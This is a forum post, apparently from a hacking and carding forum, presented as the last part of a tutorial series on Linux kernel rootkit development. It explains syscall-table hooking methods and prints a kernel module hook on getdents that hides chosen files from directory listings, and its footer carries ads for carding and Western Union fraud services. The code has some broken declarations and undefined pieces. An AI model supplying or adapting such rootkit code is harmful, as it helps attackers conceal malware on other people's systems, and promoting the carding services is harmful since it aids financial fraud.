[Tutorial] ] rootkit develop(hooking syscalls)

dcrown

Well-known member
Member
Joined
5 yrs. 11 mth. 3 days
Messages
3,889
Reaction score
8,971
Wallet
0$
You can go check my other threads in order to know more about linux rootkit, I guess this is the last thread on basic linux rootkit development.
I will continue sharing Linux rootkit/backdoor techniques and skills in the future.

Leading knowledge
asmlinkage:
In Linux kernel code, you may see many functions with this modifier, I will make a short explain to show what is this,
In /arch/x86/include/asm/linkage.h, Linux developers defined the asmlinkage as

#define CPP_ASMLINKAGE
#define asmlinkage CPP_ASMLINKAGE __attribute__((regparm(0)))
"__attribute__" is an explore of c in gcc compiler, regparm(0) means "Do not pass parameters from registers", which means the parameters will only be passed through stack. Why they use asmlinkage in syscall? I'm not sure, maybe because they have to use asam in entry.s, tell me if you know, please ^^
syscall:
The kernel provides a set of standard interfaces for user space programs to interact with kernel space. These interfaces allow user state programs to have limited access to hardware devices, such as applying for system resources, operating devices to read and write, and creating new processes.....
For example, when you execute a command, the terminal emulator will finally call sys_execve() to execute this command.
This shit is really important and powerful.
Hooking syscall functions
Since the syscall is so important, why can't we replace them into ours?
You can see all the x86_64 syscalls here:
Please, Log in or Register to view URLs content!

What we are going to hook called syscall_table, a set of pointer to syscalls.
There are many ways to hook the syscall_table, actually, finding out "what to hook" and "how to hook" is an important eternal topic in rootkit programming(That's how they effect the system)
1. Find the address of syscall_table and replace the addresses inside which are pointed to syscalls into your own.
2. Find the address of syscall_table and do inline hook, which means modify several bytes of the table and do a "jmp"
3. Use ftrace
Me and most of the authors will use method 3(for now), because it is the most convenient way, others are a little bit complex that I may write some more article to deal with lol.
You can go to github and download the ftrace_helper.h.

To show you how to use this, I am going to show you a cool thing that you can do with syscall hooking.
In every hook, u have to provide a hooked function to replace the orig function.
In this case, I want to hide a file.
We can do this through hooking sys_getdents(), this syscall require two parameters, one of them is a pointer, point to a linked list in memory which includes file info. The structure of that list:

struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[];
};
By traversing the linked list and deleting the corresponding nodes, the purpose of hiding the file can be achieved.
I will show you the code here, If you have any problem with that, feel free to ask me in this thread~


asmlinkage long (*orig_getdents(const struct pt_regs *regs);
asmlinkage int hook_getdents(const struct pt_regs *regs) {
struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[];
};
struct linux_dirent __user *dirent = (struct linux_dirent *)regs->si;
struct linux_dirent *current_dir,*previous_dir,*dirent_ker = NULL;
unsigned long offset = 0;
long error;

int ret = orig_getdents(regs);
dirent_ker = kzalloc(ret, GFP_KERNEL);

if ((ret <= 0) || (dirent_ker == NULL))
{
printk(KERN_DEBUG "error 1,ret is %d\n",ret);
return ret;
}

error = copy_from_user(dirent_ker, dirent, ret);
if(error)
{
printk(KERN_DEBUG "error 2\n");
goto done;
}

while(offset < ret)
{
current_dir = (void *)dirent_ker + offset;
if(check(current_dir->d_name) == 1)
{
if(debug_mode == 1)
{
printk(KERN_DEBUG "rootkit: Found %s\n", current_dir->d_name);
}
if(current_dir == dirent_ker)
{
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
previous_dir->d_reclen += current_dir->d_reclen;
}
else
{
previous_dir = current_dir;
}
offset += current_dir->d_reclen;
}

error = copy_to_user(dirent, dirent_ker, ret);
if(error)
{
printk(KERN_DEBUG "error 3\n");
goto done;
}

done:
kfree(dirent_ker);
return ret;
}

This is an useful example of syscall hooking, I will talk about other methods like LD_PRELOAD in the future.
If you have already read 4/4 of this series, I think you can write a simple lkm rootkit by yourself. I mean, there must be something I didn't explain well, You can just leave your question as a reply and I will tell you about it. :)

Anyway. thanks a lot for watching this series of tutorial
 
Paid adv. expire in 2 months
CLICK to buy Advertisement !
westernunion carding Verified & Trusted WesternUnion | MoneyGram | Bank - Transferring [299$ BTC for 2000$ WU]
electronics carding Verified & Trusted Electronics Carding, Carding iPhone, Samsung Carding, MacBook Carding, Laptops Carding
Top Bottom